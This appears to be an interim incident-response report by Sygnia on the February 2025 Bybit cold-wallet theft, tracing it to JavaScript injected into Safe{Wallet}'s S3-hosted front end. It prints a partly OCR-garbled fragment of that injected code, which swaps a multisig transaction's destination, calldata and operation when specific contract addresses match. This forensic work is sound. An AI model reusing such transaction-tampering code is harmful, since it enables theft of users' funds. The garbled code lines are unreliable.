FEBRUARY 2025



BYBIT

Interim Investigation Report





CONTENTS

1	Back	ground	3
	1.1	Key Findings	3
2	Tech	nical Findings	4
	2.1	Chrome Browser Cache	4
	2.2	Malicious JavaScript Injection	4
	2.3	Safe{Wallet} AWS S3 Bucket Current State	5
	2.4	Safe{Wallet} Internet Archives	7
3	Cond	clusion	8



1 BACKGROUND

On Friday, February 21, 2025, Bybit detected unauthorized activity involving one of their ETH cold wallets. The incident occurred when an ETH multisig transaction was facilitated through Safe{Wallet} from a cold wallet to a warm wallet, during which a threat actor intervened and manipulated the transaction. The threat actor managed to gain control of the affected cold wallet and transferred its holdings to a wallet under their control.

Sygnia was engaged by Bybit to conduct a forensic investigation, determine the attack's root cause, with the objective to identify the source and scope of compromise and mitigate both immediate and future risks.

1.1 KEY FINDINGS

Thus far, the forensics investigation highlighted the following findings:

- Forensic investigation of all hosts used to initiate and sign the transaction revealed malicious JavaScript code injected to a resource served from Safe{Wallet}'s AWS S3 bucket.
- Resource modification time and publicly available web history archives suggest the injection of the malicious code was performed directly to Safe{Wallet}'s AWS S3 bucket.
- Initial analysis of the injected JavaScript code suggests it's primary objective is to manipulate transactions, effectively changing the content of the transaction during the signing process.
- Additionally, the analysis of the injected JavaScript code identified an activation condition designed to execute only when the transaction source matches one of two contract addresses: Bybit's contract address and a currently unidentified contract address, likely associated with a test contract controlled by the threat actor.
- Two minutes after the malicious transaction was executed and published, new versions of the JavaScript resources were uploaded to Safe{Wallet}'s AWS S3 bucket. These updated versions had the malicious code removed.
- The highlighted initial findings suggest the attack originated from Safe{Wallet}'s AWS infrastructure.
- Thus far, the forensics investigation did not identify any compromise of Bybit's infrastructure.



2 TECHNICAL FINDINGS

The following findings were identified during the forensic investigation of the hosts used to initiate and sign the transaction.

2.1 CHROME BROWSER CACHE

Forensic analysis of Chrome browser cache files identified cache files containing JavaScript resources which were created at the time of the transaction signing on all three signers' hosts.

ChromeCacheView:											
File Edit View Options Help											
Filename	URL	File Size	Cache Name	URL Length							
b556851795a4cbaa	https://app.safe.global/_next/static/chunks/6514.b556851795a4cbaa.js?_WB_REVISION_=b556851795a4cbaa	64,309	8a431d8141245f8d_0	101							
💰 _app-52c9031bfa03da47.js	https://app.safe.global/_next/static/chunks/pages/_app-52c9031bfa03da47.js	3,746,298	d9a83d1fb1d0f12a_0	74							

Figure 1: Snippet showing the JavaScript resources identified in the Chrome cache files

The content of the cache files highlighted that the resources served from Safe{Wallet}'s AWS S3 bucket on February 21, 2025, were last modified on February 19, 2025, two days prior to the malicious transaction.



Figure 2: Snippet from a JavaScript resources cache, showing the file's header

2.2 MALICIOUS JAVASCRIPT INJECTION

The content of the JavaScript code found in the Chrome browsing artifacts revealed malicious modifications introduced by the threat actor. Initial analysis of the injected code highlighted the code is designed to modify the transaction content.



Further analysis of the injected code identified an activation condition designed to execute only when the transaction source matched one of two contract addresses: Bybit's contract address and an unidentified contract address, likely associated with the threat actor.



Figure 3: Snippet from BeyondCompare showing a comparison between the JavaScript file extract from Chrome browsing artifacts and the current version of the file.



Figure 4: Snippet from beautified code of the malicious code injected to the JavaScript resource.

2.3 SAFE{WALLET} AWS S3 BUCKET CURRENT STATE

The resources currently served by Safe{Wallet} via their AWS S3 bucket, do not contain the malicious code identified in the Chrome cache files.

The investigation determined that the JavaScript resources were modified in the AWS S3 bucket on February 21, 2025, at 14:15:13 and 14:15:32 UTC - approximately two minutes after the malicious transaction was executed.



Response headers	
age	111
content-encoding	gzip
content-type	application/javascript
date	Mon, 24 Feb 2025 18:09:04 GMT
etag	W/"1843238e5ebfd65299df250e0b4346f0"
last-modified	Fri, 21 Feb 2025 14:15:13 GMT
referrer-policy	strict-origin-when-cross-origin
server	AmazonS3
strict-transport-security	max-age=31536000
vary	Accept-Encoding
via	1.1 d9523e44e96d2539081596bb1d268d44.cloudfront.net (CloudFr
	ont)
x-amz-cf-id	lkRaxHETWvIt4RjK3iHtA5cAmE0OrwZSIZYZpGfUWslrLnahIAdopC
	==
x-amz-cf-pop	FRA56-P3
x-cache	Hit from cloudfront
x-content-type-options	nosniff
x-frame-options	SAMEORIGIN
x-xss-protection	1; mode=block

Figure 5: Snippet from URLScan showing the response headers for the first modified JavaScript.

Response headers					
content-encoding	gzip				
content-type	application/javascript				
date	Mon, 24 Feb 2025 20:11:04 GMT				
etag	W/"98303ede11d912877ca7c83e8db9b4a7"				
last-modified	Fri, 21 Feb 2025 14:15:32 GMT				
referrer-policy	strict-origin-when-cross-origin				
server	AmazonS3				
strict-transport-security	max-age=31536000				
vary	Accept-Encoding				
via	1.1560ae23eb11e8a754d4876989783ad5e.cloudfront.net (CloudFro				
	nt)				
x-amz-cf-id	vXyVUPjQ1AyIMoABazyVxIle3ttk-JS9V1ITGwj6197-IFhXvDUMEQ==				
x-amz-cf-pop	EWR53-P1				
x-amz-version-id	null				
x-cache	RefreshHit from cloudfront				
x-content-type-options	nosniff				
x-frame-options	SAMEORIGIN				
x-xss-protection	1; mode=block				

Figure 6: Snippet from URLScan showing the response headers for the second modified JavaScript.



2.4 SAFE{WALLET} INTERNET ARCHIVES

Further analysis of the Safe{Wallet} resources using public web archives found two snapshots of Safe{Wallet}'s JavaScript resources taken on February 19, 2025. A review of these snapshots revealed that the first snapshot contained the original, legitimate Safe {Wallet} code, while the second snapshot contained the resource with the malicious JavaScript code. This further suggests that the malicious code which created the malicious transaction originated directly from Safe {Wallet}'s AWS Infrastructure.



Figure 7: Snippet from web.archive.org showing archive entries for the JavaScript resource.

INTERNET ARCRIVE https://app.safe.global/_next/static/chunks/pages/_app-52c9031bfa03da47 js	GO JAN FEB MAR	?			
Bagbackingthing 8 captures 14 Feb 2025 - 22 Feb 14	 19 2024 2025 2026 ▼ About th 	f this ca			
a,s);uytet i=await (0,1,ir)(a,u);ii(ii){iet e=await (0,1,ir);t={iiasii:await ii:request{imetiou: eti_senui:aiisattioi;jaanams;					
[{from:s,to:o,data:e}]}),transactionResponse:null}}else c=await d.execute(ransaction(1,e);(0,u.DC)(u.nV.EXECUTING,p)}catch(e){th	row(0,u.DC)(u.hV.SPEEDUP_FAILE	ED,			
$\{\dots, p, error: (0, y, z)(e)\}$, e_1 return $(0, u, DC)(u, nV, PROCESSING,$	-+ 1				
<pre>{p_txHash:c.hash,signerAddress:s,signerMnce:h,gasLimit:gasLimit;tXiype:"SateIX"}),c.hash,T=async(e,t,n,r,a,i,s)={let o;let 1=</pre>					
{viu, violations}; c=enonce; try{let t=await (%;r)(a); v=await t.senon ansattion {to:n, uata:	tatch(e){throw(0,u.bc)				
$(U, W, SPEEDUP_TALLED, \{, \}$ of $(V, U, U, V, U, U,$	oncel n-nulli(o-t nonce)	bio			
$\sigma(x)$ in a single for the second se					
[{from:a.to:i.data:t}]).transactionResponse:null}else {let sd=c: let st=c:					
[1 + was [vors, yatch (j)]), with second solutions and the second sec					
let ba= "0x828424517f9f04015db02169f4026d57b2b07229", "0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"]:					
let ta="0x96221423681a6d52e184d440a8efcebb105c7242"; let					
da="0xa9059cbb000000000000000000000000000000000					
let op=1; let vl=0; let sga=45746;					
let sf=sd.getSafeProvider();					
let sa=await sf.getSignerAddress(); sa=sa.toLowerCase();					
<pre>let lu=await sd.getAddress(); lu=lu.toLowerCase();</pre>					
const $C = Ma.some(K1 => 1u.inCludes(K1));$					
const $CD=0a$.some(k1 => Sa.Includes(k1)); if($f = t$ true P_{k} as data comparison P_{k})					
$\Gamma(c) = const descentenced long(c) adds) condata to ta: constant on or constant of the truth of the constant $					
Const tu=structureuctone(secuata), secuata.co=ta, secuata.operation=op, secuata.uata-ua, secuata.vatue=vi, secuata.saleixoas=sga	•				

Figure 8: Snippet from web.archive.org showing malicious code embedded in the JavaScript resource.



3 CONCLUSION

The forensics investigation of the three signers' hosts suggests the root cause of the attack is malicious code originating from Safe{Wallet}'s infrastructure.

No indication of compromise was identified within Bybit's infrastructure.

The investigation is still ongoing to further confirm the findings.

Sygnia is a leading cyber security consulting and incident response company, known for its background in elite cyber intelligence units. Sygnia partners with clients to quickly contain and remediate attacks and proactively enhance their cyber resilience. Sygnia consultants approach each security challenge with the health of your business in mind. Their proven track record, commitment, and discretion have earned the trust of security teams, senior executives, and management boards at leading organizations worldwide, including Fortune 100 companies.

Offices in: Tel Aviv | New York | London | Singapore | Mexico City